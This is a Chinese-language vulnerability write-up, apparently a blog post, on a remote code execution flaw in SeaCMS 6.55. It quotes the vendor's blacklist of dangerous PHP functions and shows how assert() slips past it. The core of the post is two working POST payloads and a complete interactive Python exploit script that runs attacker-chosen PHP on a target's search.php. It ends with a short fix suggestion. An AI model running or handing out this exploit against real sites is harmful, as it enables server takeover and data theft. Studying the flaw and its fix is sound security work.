漏洞概况 seacms 6.54中关于代码注入给出的修复是用黑名单过滤一些常用的危险命令。
1 2 3 4 foreach ($iar as $v){ $iarok[] = str_ireplace(array ('unlink' ,'opendir' ,'mysqli_' ,'mysql_' ,'socket_' ,'curl_' ,'base64_' ,'putenv' ,'popen(' ,'phpinfo' ,'pfsockopen' ,'proc_' ,'preg_' ,'_GET' ,'_POST' ,'_COOKIE' ,'_REQUEST' ,'_SESSION' ,'_SERVER' ,'assert' ,'eval(' ,'file_' ,'passthru(' ,'exec(' ,'system(' ,'shell_' ), '@.@' , $v); } $iar = $iarok;
可以发现,还是有一些命令没有在黑名单中,比如assert()函数还是可以利用的,assert()函数中传递的函数如果是字符串,则这个字符串可以被当作php代码来执行。
assert()函数的具体用法参考: https://www.php.net/manual/zh/function.assert.php
assert() 语法:
1 assert ( mixed $assertion [, Throwable $exception ] ) : bool
环境搭建
seacms 6.55
php 5.4.45
Windows 7 (64) + Mysql 5.6 + Apache
漏洞分析 PoC :
1 2 3 4 5 // URL http://192.168.247.134/seacms655/upload/search.php?phpinfo(); // POST searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*
关于这个POC要先了解一下php中的$_SERVER
服务器变量:
http://localhost/xxx/index.php?a=222&b=333
$_SERVER['QUERY_STRING']
= ‘a=222&b=333’
$_SERVER['REQUEST_URI']
= ‘/xxx/index.php?a=222&b=333’
$_SERVER['SCRIPT_NAME']
= ‘/xxx/index.php’
$_SERVER['PHP_SELF']
= ‘/xxx/index.php’
经过替换后,eval()执行的函数就是
1 2 if (assert($_SERVER[QUERY_STRING]));
PoC 2:
1 2 3 4 5 // URL http://192.168.247.134/seacms655/upload/search.php // POST searchtype=5&searchword={if{searchpage:year}&year=:p{searchpage:area}}&area=r{searchpage:letter}&letter=int{searchpage:lang}&yuyan=_r({searchpage:jq}&jq={searchpage:ver}&ver=$GLOBALS)
python 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __author__ = 'Bantian' import sysimport requestsdef help () : print("Usage : " ) print(" python %s [URL]" % sys.argv[0 ]) print("Example : " ) print(" python %s http://example.com/search.php" % (sys.argv[0 ])) print("Type command 'q' for exit" ) def poc () : help() if not sys.argv[1 ].endswith("search.php" ): print("[+] Please make sure url end with search.php" ) else : while 1 : payload = input("-> " ) url = sys.argv[1 ] + "?%s" % payload if payload != "q" : postdata = { "searchtype" : "5" , "searchword" : "{if{searchpage:year}" , "year" : ":as{searchpage:area}}" , "area" : "s{searchpage:letter}" , "letter" : "ert{searchpage:lang}" , "yuyan" : "($_SE{searchpage:jq}" , "jq" : "RVER{searchpage:ver}" , "ver" : "[QUERY_STRING]));/*" , } r = requests.post(url = url, data = postdata) idx = r.text.find("<!DOCTYPE html>" ) print(r.text[:idx]) else : exit() if __name__ == "__main__" : try : poc() except Exception as e: print("It only works for seacms v6.55!" )
测试:
修复方案
freebuf里的师傅给出的建议是在search.php文件的echoSearchPage()
函数中添加一条过滤语句:
1 if (strpos($searchword,'{searchpage:' )) exit ;
目的是让所有searchpage标签的替换都失效。
参考
https://www.freebuf.com/vuls/150303.html
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好